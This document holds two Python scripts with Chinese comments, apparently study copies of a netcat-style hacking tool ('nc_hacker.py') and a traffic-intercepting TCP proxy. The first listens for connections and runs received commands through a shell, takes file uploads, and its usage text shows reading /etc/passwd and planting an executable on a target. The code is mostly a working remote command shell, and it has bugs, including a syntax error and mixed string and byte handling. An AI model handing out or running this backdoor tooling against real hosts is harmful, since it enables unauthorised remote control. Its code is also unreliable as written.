#!/usr/bin/env python3

 # coding=utf-8

 import sys

 from socket import *

 import getopt  # 用来处理命令行参数

 import threading

 import subprocess  # 启动一个shell，并控制输入输出

 # -e和-p有问题，mac下运行没什么问题，win下有问题，运行的命令会出现问题。

 listen = False

 command = False

 upload = False

 execute = ""

 target = ""

 upload_destination = ""

 port = 0

 #帮助提示

 def usage():

     print("netcat")

     print("Usage:nc_hacker.py -t target_host -p target_port")

     print("-l --listen                - listen on [host]:[port] for incoming connections")

     print("-e --execute=ile_to_run   - execute the given file upon receiving a connection")

     print("-c --command               - initialize a command shell")

     print("-u --upload=destination    - upon receiving connection upload a file and write to [destination]")

     print("Examples: ")

     print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -c")

     print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -u c:\\target.exe")

     print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -e \"cat /etc/passwd\"")

     print("echo 'ABCDEFGHI' | ./nc_hacker.py -t 192.168.11.12 -p 135")

     sys.exit(0)

 # 主函数

 def main():

     global listen

     global port

     global execute

     global command

     global upload_destination

     global target

     # 没有输入值就显示菜单

     if not len(sys.argv[1:]):

         usage()

     try:

         # getopt模块处理命令行,

         # h后面没有冒号:表示后面不带参数,p:和i:后面有冒号表示后面需要参数

         # help后面没有等号=，表示后面不带参数，有=，表示后面需要参数

         # 返回值options是个包含元祖的列表，每个元祖是分析出来的格式信息，比如[('-i','127.0.0.1'),('-p','80')]

         # args 是个列表，包含那些没有‘-’或‘--’的参数，比如：['55','66']

         opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",

                                    ["help", "listen", "execute", "target", "port", "command", "upload"])

     except getopt.GetoptError as err:

         print(str(err))

         usage()

     for o, a in opts:

         if o in ("-h", "--help"):

             usage()

         elif o in ("-l", "--listen"):

             listen = True

         elif o in ("-e", "--execute"):

             execute = a

         elif o in ("-c", "--command"):

             command = True

         elif o in ("-u", "--upload"):

             upload_destination = a

         elif o in ("-t", "--target"):

             target = a

         elif o in ("-p", "--port"):

             port = int(a)

         else:

             print("unhandled option")

     # 从标准输入中发送数据

     if not listen and len(target) and port > 0:

         # 读取输入的数据

         # 这里将阻塞,发送ctrl-d使用

         buffer = input()  # sys.stdin.read()

         # 发送数据

         client_sender(buffer)

     # 进行监听

     if listen:

         print('the server is listening on %s:%d' % (target, port))

         server_loop()

 # 客户端代码

 def client_sender(buffer):

     client = socket(AF_INET, SOCK_STREAM)

     try:

         print("start connecting...")

         client.connect((target, port))

         print("connected")

         # 如果我们检测到来自stdin的输入。

         # 如果不是，我们就等待用户输入。

         if len(buffer):

             client.send(buffer)

         while True:

             # 等待数据回传

             recv_len = 1

             response = ""

             print("waiting response:")

             while recv_len:

                 data = client.recv(4096)

                 recv_len = len(data)

                 response += data.decode("utf-8")

                 if recv_len < 4096:

                     break

             print(response, end="")

             # 等待更多输入

             buffer = input("")

             buffer += "\n"

             client.send(buffer.encode("utf-8"))

     except:

         print("[*] Exception! Exiting.")

         # 断开连接

         client.close()

 # 服务端代码

 def server_loop():

     global target, port

     # 如果没有定义目标，就监听所有接口

     if not len(target):

         target = "0.0.0.0"

     server = socket(AF_INET, SOCK_STREAM)

     server.bind((target, port))

     server.listen(5)

     while True:

         client_socket, addr = server.accept()

         # print(client_socket)<socket._socketobject object at 0x107552d00>

         # 分出一个线程来处理新的客户端

         client_thread = threading.Thread(target=client_handler, args=(client_socket,))

         client_thread.start()

 # -c命令

 def run_command(command):

     # 返回从字符串末尾删除所有字符串的字符串(默认空白字符)的副本

     command = command.rstrip()

     # 运行命令并将输出返回

     try:

         # subprocess.STDOUT是抛出异常。

         output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)

     except:

         output = "Failed to execute command.\r\n"

     # 将输出发送

     return output

 # 处理传入的客户端连接

 def client_handler(client_socket):

     global upload, execute,

     # 检测上传文件command

     if len(upload_destination):

         # 读取所有的字节并写入

         file_buffer = ""

         # 持续读取数据直到没有数据可用为止,有问题

         while True:

             data = client_socket.recv(1024)

             if not data:

                 break

             else:

                 file_buffer += data

                 # 现在我们取这些字节并试着把它们写出来。

         try:

             print('opening')

             #打开文件并写入

             file_descriptor = open(upload_destination, "wb")

             file_descriptor.write(file_buffer)

             print('written')

             file_descriptor.close()

             # 确认文件是否上传

             client_socket.send("Successfully saved file to %s\r\n" % upload_destination)

         except:

             client_socket.send("Failed to save file to %s\r\n" % upload_destination)

     # 检查命令执行

     if len(execute):

         # 运行命令

         output = run_command(execute)

         client_socket.send(output)

     # 如果需要一个命令shell，那我们进入另一个循环，。

     if command:

         while True:

             # 跳出一个窗口

             client_socket.send(b"<netcat:#> ")

             # 现在我们接收文件直到发现换行符(enter key)

             cmd_buffer = ""

             while "\n" not in cmd_buffer:

                 cmd_buffer += client_socket.recv(1024).decode("utf-8")

             # 返还命令输出

             response = run_command(cmd_buffer)

             # 返回相应数据

             client_socket.send(response)

 if __name__ == "__main__":

     main()

 #!/usr/bin/env python3

 # coding=utf-8

 import sys

 from socket import *

 import threading

 # 16进制导出函数

 def hexdump(src, length=16):

     result = []

     # 判读输入是否为字符串

     digits = 4 if isinstance(src, str) else 2

     for i in range(0, len(src), length):

         # 将字符串切片为16个为一组

         s = src[i:i + length]

         # 用16进制来输出,x是digits的值，表示输出宽度

         hexa = ' '.join(["%0*X" % (digits, (x)) for x in s])

         # 用来输出原值

         text = ''.join([chr(x) if 0x20 <= x < 0x7F else '.' for x in s])

         # %-*s, 星号是length*(digits + 1)的值

         result.append("%04X   %-*s   %s" % (i, length * (digits + 1), hexa, text))

     print('\n'.join(result))

 # 设置延时有问题，后续更改

 def receive_from(connection):

     buffer = b""

     # 设置5s延迟,connection=socket(AF_INET, SOCK_STREAM)

     connection.settimeout(5)

     try:

         # 保持数据的读取直到没有数据或超时

         while True:

             data = connection.recv(4096)

             if not data:

                 break

             buffer += data

     except:

         pass

     return buffer

 # 对目标主机的请求数据进行修改

 def request_handler(buffer):

     return buffer

 # 对返回本地主机的响应数据进行修改

 def response_handler(buffer):

     return buffer

 def proxy_handler(client_socket, target_host, target_port, receive_first):

     # 连接目标主机

     target_socket = socket(AF_INET, SOCK_STREAM)

     target_socket.connect((target_host, target_port))

     # 必要时从目标主机接收数据

     if receive_first:

         target_buffer = receive_from(target_socket)

         hexdump(target_buffer)

         # 发送给我们的响应处理程序

         target_buffer = response_handler(target_buffer)

         # 如果要发送数据给本地客户端，发送它

         if len(target_buffer):

             print("[<==] Sending %d bytes to localhost." % len(target_buffer))

             client_socket.send(target_buffer)

     # 现在我们从本地循环读取数据，发送给远程主机和本地主机

     while True:

         # 从本地读取数据

         local_buffer = receive_from(client_socket)

         if len(local_buffer):

             print("[==>] Received %d bytes from localhost." % len(local_buffer))

             hexdump(local_buffer)

             # 发送给我们的本地请求

             local_buffer = request_handler(local_buffer)

             # 发送数据给目标主机

             target_socket.send(local_buffer)

             print("[==>] Sent to target.")

         # 接收响应的数据

         target_buffer = receive_from(target_socket)

         if len(target_buffer):

             print("[<==] Received %d bytes from target." % len(target_buffer))

             hexdump(target_buffer)

             # 发送到响应处理函数

             target_buffer = response_handler(target_buffer)

             # 将响应发送给本地socket

             client_socket.send(target_buffer)

             print("[<==] Sent to localhost.")

         # 两边没有数据了，就关闭连接

         if not len(local_buffer) or not len(target_buffer):

             client_socket.close()

             target_socket.close()

             print("[*] No more data. Closing connections.")

             break

 def server_loop(local_host, local_port, target_host, target_port, receive_first):

     server = socket(AF_INET, SOCK_STREAM)

     try:

         server.bind((local_host, local_port))

     except:

         print("[!!] Failed to listen on %s:%d" % (local_host, local_port))

         print("[!!] Check for other listening sockets or correct permissions.")

         sys.exit(0)

     print("[*] Listening on %s:%d" % (local_host, local_port))

     server.listen(5)

     while True:

         client_socket, addr = server.accept()

         # 本地连接信息

         print("[==>] Received incoming connection from %s:%d" % (addr[0], addr[1]))

         # 开启线程和目标主机通信

         proxy_thread = threading.Thread(target=proxy_handler,

                                         args=(client_socket, target_host, target_port, receive_first))

         proxy_thread.start()

 def main():

     if len(sys.argv[1:]) != 5:

         print("Usage: ./proxy.py [localhost] [localport] [targethost] [targetport] [receive_first]")

         print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True")

         sys.exit(0)

     # 本地参数

     local_host = sys.argv[1]

     local_port = int(sys.argv[2])

     # 目标参数

     target_host = sys.argv[3]

     target_port = int(sys.argv[4])

     receive_first = sys.argv[5]

     if "True" in receive_first:

         receive_first = True

     else:

         receive_first = False

     # 开始监听

     server_loop(local_host, local_port, target_host, target_port, receive_first)

 main()